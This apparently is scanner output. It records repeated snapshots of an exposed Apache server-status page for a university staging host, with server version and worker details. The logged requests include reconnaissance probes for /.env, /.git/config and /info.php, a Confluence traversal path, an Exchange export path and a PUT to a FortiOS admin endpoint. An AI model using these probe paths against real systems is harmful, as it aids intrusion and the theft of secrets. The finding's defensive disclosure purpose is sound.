HTTP/1.1 15-29145071/84/21457K 0.904024.60.90145.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 16-29145131/87/15326K 0.89403.30.73121.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 17-29292071/1/16001K 0.00103.30.0097.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 18-29292141/1/5527K 0.25048011.40.0135.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 19-29292191/1/6733K 0.24048311.40.0136.83 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 20-299171/157/2713K 2.79351411.41.2731.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 21-29292281/1/4732K 0.24047911.40.0145.25 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 22-29292341/1/5468K 0.24049711.50.0135.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 23-29292371/1/2736K 0.23047311.40.0120.19 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 24-29292381/1/7531K 0.001025.00.0242.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 25-29292570/0/1903W 0.01000.00.0019.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 26-29292580/0/780W 0.01000.00.007.15 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 27-29292650/0/474W 0.00000.00.003.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 28-29292710/1/2267W 0.00000.00.0037.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 29-29292760/0/623W 0.01000.00.005.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 30-29292791/1/1396K 0.00003.30.0036.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 31-27292830/0/557S 0.0016349400.00.0013.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-29292891/1/1031K 0.00003.50.0026.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 33-27292950/0/471S 0.0016351500.00.004.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-27293010/0/328S 2.6015917300.00.004.80 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-27293070/0/1010S 0.0016349100.00.004.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-27293130/0/900S 0.0016349000.00.0014.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-2700/0/158S 0.7916264300.00.002.51 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-27-0/0/1716. 0.0116348900.00.0039.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-27-0/0/269. 0.0116348800.00.001.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-27-0/0/450. 0.0116348600.00.0011.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-26-0/0/1452. 0.0017976400.00.0011.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-26-0/0/144. 0.0017976000.00.002.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 43-26-0/0/376. 0.8417719700.00.009.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-26-0/0/131. 0.0017978900.00.002.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-26-0/0/44. 0.0217972900.00.000.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-26-0/0/82. 0.0017978800.00.001.33 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-26-0/0/81. 0.0017978700.00.001.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-26-0/0/95. 0.0017978600.00.001.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-26-0/0/60. 0.0117973400.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-26-0/0/38. 0.0017978500.00.000.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-26-0/0/79. 0.0017978400.00.001.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 52-26-0/0/98. 0.0
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68c435eb2f
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Wednesday, 30-Nov-2022 11:49:46 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 30 Parent Server MPM Generation: 29 Server uptime: 22 days 18 hours 40 minutes 24 seconds Server load: 0.09 0.07 0.15 Total accesses: 716870 - Total Traffic: 4.4 GB CPU Usage: u18.12 s12.98 cu0 cs0 - .00158% CPU load .364 requests/sec - 2392 B/second - 6.4 kB/request 24 requests currently being processed, 0 idle workers KKKKKKKKKKKKKKKKKKWWKWWSW....................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-29291551/1/58586K 0.23240811.40.01332.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 1-2917191/475/54139K 11.14303.33.57308.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 2-29144571/87/58237K 1.50303.30.76321.52 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 3-29291641/1/45194K 0.051873.90.00289.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 4-29144771/93/39481K 0.89303.51.13246.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 5-29291651/1/46125K 0.23141611.40.01268.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 6-298161/161/43413K 3.01253111.41.40243.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 7-29267691/17/41713K 0.41251211.60.14239.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2439313e2130313e2135313/_/;/META-INF/maven/com.at 8-29291791/1/49122K 0.24042311.40.01262.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 9-29291801/1/32864K 0.24042911.40.01237.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 10-29291861/1/40655K 0.00103.30.00231.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 11-29278231/12/42976K 0.69251911.50.12235.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 12-29145011/87/24683K 2.47251311.40.78151.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 13-29291921/1/13196K 0.24042711.60.01107.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2033313e2130313e2135313/_/;/META-INF/maven/com.at 14-29292061/1/19171K 0.00013.50.00119.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 15-29145071/84/21457K 0.903024.60.90145.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 16-29145131/87/15326K 0.89303.30.73121.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 17-29292071/1/16001K 0.00003.30.0097.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 18-29292140/0/5526W 0.00000.00.0035.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 19-29292190/0/6732W 0.00000.00.0036.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 20-299171/157/2713K 2.79251411.41.2731.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 21-29292280/0/4731W 0.00000.00.0045.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 22-29292340/0/5467W 0.00000.00.0035.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 23-29292370/0/2735S 0.00564000.00.0020.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-29292380/0/7530W 0.00000.00.0042.93 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 25-27-0/0/1903. 0.0116349800.00.0019.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-27-0/0/780. 0.0116348300.00.007.15 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-27-0/0/474. 0.0016351500.00.003.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-27-0/0/2266. 0.0116349600.00.0037.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-27-0/0/623. 0.0116348400.00.005.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-27-0/0/1395. 0.0016349500.00.0036.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-27-0/0/557. 0.0016349300.00.0013.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-27-0/0/1030. 0.0116349200.00.0026.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-27-0/0/471. 0.0016351400.00.004.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-27-0/0/328. 2.6015917200.00.004.80 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-27-0/0/1010. 0.0016349000.00.004.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-27-0/0/900. 0.0016348900.00.0014.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-27-0/0/158. 0.7916264200.00.002.51 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-27-0/0/1716. 0.0116348800.00.0039.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-27-0/0/269. 0.0116348700.00.001.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-27-0/0/450. 0.0116348500.00.0011.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-26-0/0/1452. 0.0017976300.00.0011.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-26-0/0/144. 0.0017975900.00.002.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 43-26-0/0/376. 0.8417719600.00.009.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-26-0/0/131. 0.0017978800.00.002.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-26-0/0/44. 0.0217972800.00.000.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-26-0/0/82. 0.0017978700.00.001.33 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-26-0/0/81. 0.0017978600.00.001.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-26-0/0/95. 0.0017978500.00.001.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-26-0/0/60. 0.0117973300.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-26-0/0/38. 0.0017978400.00.000.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-26-0/0/79. 0.0017978300.00.001.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 52-26-0/0/98. 0.0017978200.00.001.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68ebc864d1
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Wednesday, 30-Nov-2022 11:49:48 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 30 Parent Server MPM Generation: 29 Server uptime: 22 days 18 hours 40 minutes 26 seconds Server load: 0.09 0.07 0.15 Total accesses: 716900 - Total Traffic: 4.4 GB CPU Usage: u18.73 s12.13 cu0 cs0 - .00157% CPU load .364 requests/sec - 2392 B/second - 6.4 kB/request 51 requests currently being processed, 0 idle workers KCCKCKCCKKKCCKKCCKKKCKKKKKKKKKKWKKWWKKKKKKWWKSWWWWSSSKSSSSSSSSWS SS.............................................................. ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-29291551/1/58586K 0.23440811.40.01332.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 1-2917191/475/54139C 11.14503.33.57308.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 2-29144571/87/58237C 1.50503.30.76321.52 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 3-29291641/1/45194K 0.054873.90.00289.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 4-29144771/93/39481C 0.89503.51.13246.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 5-29291651/1/46125K 0.23341611.40.01268.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 6-298161/161/43413C 3.01553111.41.40243.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 7-29267691/17/41713C 0.41551211.60.14239.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2439313e2130313e2135313/_/;/META-INF/maven/com.at 8-29291791/1/49122K 0.24242311.40.01262.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 9-29291801/1/32864K 0.24242911.40.01237.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 10-29291861/1/40655K 0.00303.30.00231.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 11-29278231/12/42976C 0.69551911.50.12235.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 12-29145011/87/24683C 2.47551311.40.78151.13 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 13-29291921/1/13196K 0.24242711.60.01107.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2033313e2130313e2135313/_/;/META-INF/maven/com.at 14-29292061/1/19171K 0.00213.50.00119.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 15-29145071/84/21457C 0.905024.60.90145.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 16-29145131/87/15326C 0.89503.30.73121.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 17-29292071/1/16001K 0.00203.30.0097.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 18-29292141/1/5527K 0.25148011.40.0135.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 19-29292191/1/6733K 0.24148311.40.0136.83 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 20-299171/157/2713C 2.79551411.41.2731.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 21-29292281/1/4732K 0.24147911.40.0145.25 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 22-29292341/1/5468K 0.24149711.50.0135.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 23-29292371/1/2736K 0.23147311.40.0120.19 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 24-29292381/1/7531K 0.002025.00.0242.96 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 25-29292571/1/1904K 0.0501663.90.0019.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 26-29292581/1/781K 0.26061311.40.017.16 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 27-29292651/1/475K 0.25062711.40.013.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 28-29292711/2/2268K 0.001025.20.0337.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 29-29292761/1/624K 0.24066311.40.015.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 30-29292791/1/1396K 0.00103.30.0036.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 31-29292831/1/558W 0.250011.50.0113.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 32-29292892/2/1032K 0.00006.80.0126.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 33-29292952/2/473K 0.00006.60.014.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 34-29293011/1/329W 0.240011.40.014.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 35-29293071/1/1011W 0.250011.40.014.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 36-29293132/2/902K 0.00006.70.0114.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 37-29293201/1/159K 0.24059211.40.012.52 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 38-29293311/1/1717K 0.00123.40.0039.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 39-29293362/2/271K 0.00006.70.011.97 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 40-29293421/1/451K 0.25063011.60.0111.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e26363e2130313e2135313/_/;/META-INF/maven/com.atla 41-29293561/1/1453K 0.00043.50.0011.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /accessibility/ HTTP/1.1 42-29293570/0/144W 0.00000.00.002.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 43-29293630/0/376W 0.84000.00.009.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 44-29293691/1/132K 0.00013.40.002.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 45-26293750/0/44S 0.0217973000.00.000.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-29293760/0/82W 0.00000.00.001.33 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 47-29293770/0/81W 0.00000.00.001.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 48-29293930/0/95W 0.00000.00.001.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 49-29293940/0/60W 0.01000.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 50-26294000/0/38S 0.0017978600.00.000.59 127.0.0.1http/1.1
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e6825e0fec7
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Wednesday, 30-Nov-2022 11:49:42 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 30 Parent Server MPM Generation: 29 Server uptime: 22 days 18 hours 40 minutes 20 seconds Server load: 0.01 0.06 0.14 Total accesses: 716852 - Total Traffic: 4.4 GB CPU Usage: u18.65 s15.33 cu0 cs0 - .00173% CPU load .364 requests/sec - 2392 B/second - 6.4 kB/request 5 requests currently being processed, 5 idle workers .__.K._W...W_..W_...W........................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-29-0/0/58585. 0.0033600.00.00332.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 1-2917190/474/54138_ 11.14900.03.57308.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 2-29144570/86/58236_ 1.50910.00.76321.52 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about/accountability HTTP/1.1 3-29-0/0/45193. 0.0034100.00.00289.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 4-29144771/93/39481K 0.89003.51.13246.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 5-29-0/0/46124. 0.0034000.00.00268.47 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 6-298160/160/43412_ 2.78400.01.39243.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 7-29267690/16/41712W 0.16000.00.13239.25 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e2439313e2130313e2135313/_/;/META-INF/maven/com.at 8-29-0/0/49121. 0.0033900.00.00262.09 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 9-29-0/0/32863. 2.2533500.00.00237.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 10-29-0/0/40654. 0.0033800.00.00231.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 11-29278230/11/42975W 0.43000.00.11235.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 12-29145010/86/24682_ 2.2263250.00.77151.12 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /install.php HTTP/1.1 13-29-0/0/13195. 0.0033700.00.00107.49 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 14-29-0/0/19170. 3.09299900.00.00119.75 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 15-29145070/83/21456W 0.90000.00.87145.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 16-29145130/86/15325_ 0.89710.00.73121.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about/contact-us HTTP/1.1 17-29-0/0/16000. 0.00564200.00.0097.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-29-0/0/5526. 0.00564100.00.0035.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-29-0/0/6732. 0.00564000.00.0036.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-299170/156/2712W 2.55000.01.2631.90 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 21-29-0/0/4731. 0.00563900.00.0045.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-29-0/0/5467. 0.00563800.00.0035.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-29-0/0/2735. 0.00563700.00.0020.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-29-0/0/7530. 0.00563600.00.0042.93 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-27-0/0/1903. 0.0116349400.00.0019.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-27-0/0/780. 0.0116347900.00.007.15 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-27-0/0/474. 0.0016351100.00.003.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-27-0/0/2266. 0.0116349200.00.0037.56 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-27-0/0/623. 0.0116348000.00.005.94 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-27-0/0/1395. 0.0016349100.00.0036.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-27-0/0/557. 0.0016348900.00.0013.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-27-0/0/1030. 0.0116348800.00.0026.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-27-0/0/471. 0.0016351000.00.004.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-27-0/0/328. 2.6015916900.00.004.80 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-27-0/0/1010. 0.0016348600.00.004.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-27-0/0/900. 0.0016348500.00.0014.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-27-0/0/158. 0.7916263800.00.002.51 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-27-0/0/1716. 0.0116348400.00.0039.99 